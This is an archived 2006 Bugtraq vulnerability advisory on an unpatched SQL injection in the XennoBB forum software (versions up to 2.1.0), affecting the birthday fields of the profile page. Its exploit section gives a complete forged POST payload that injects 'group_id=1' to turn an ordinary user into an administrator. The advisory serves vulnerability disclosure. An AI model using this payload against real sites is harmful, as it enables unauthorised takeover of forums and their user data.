bugtraq - XennoBB <= 2.1.0 "birthday" SQL injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060806043938.17071.qmail@securityfocus.com>
Date: 6 Aug 2006 04:39:38 -0000
From: c.boulton@...board.com
To: bugtraq@...urityfocus.com
Subject: XennoBB <= 2.1.0 "birthday" SQL injection

--------------------- SUMMARY ---------------------

Name:
	XennoBB "birthday" SQL Injection (6/8/2006)

Vendor / Product:
	XennoBB Group
	http://www.xennobb.com/
	
	Description:
	The world's most revolutionary and easy to use bulletin board.

	Revolutionary because it redefines the boundaries of usability
	and power; from the first version it's a real alternative to
	the commercial forums out there.

	How can XennoBB be described in few words? 
	Lightning-speed, stable, SECURED(?) and modern.
	
Version(s) Affected:
	<= 2.1.0
	
Severity:
	High
	
Impact:
	SQL Injection (Remote)

Status:
	Unpatched
	
Discovered by:
	Chris Boulton <http://www.surfionline.com>
	
------------------- DESCRIPTION -------------------

An exploit exists in the above mentioned versions of XennoBB which
can be exploited by malicious users to conduct SQL injection attacks.

Input passed to the "bday_day", "bday_month" and "bday_year form
fields is not properly sanitised before being used in an SQL query.
This exploit can lead to manipulation of SQL queries by injecting
arbitary SQL code.

--------------------- EXPLOIT ---------------------

Submit a forged POST request to

/profile.php?section=personal&id={your registered user ID here}

With the following as the POST data:

form_sent=1&form[sex]=a&bday_day=1&bday_month=2&bday_year=", group_id=1, birthday="

Successful exploitation leads to the user group being changed to
that of Administrators.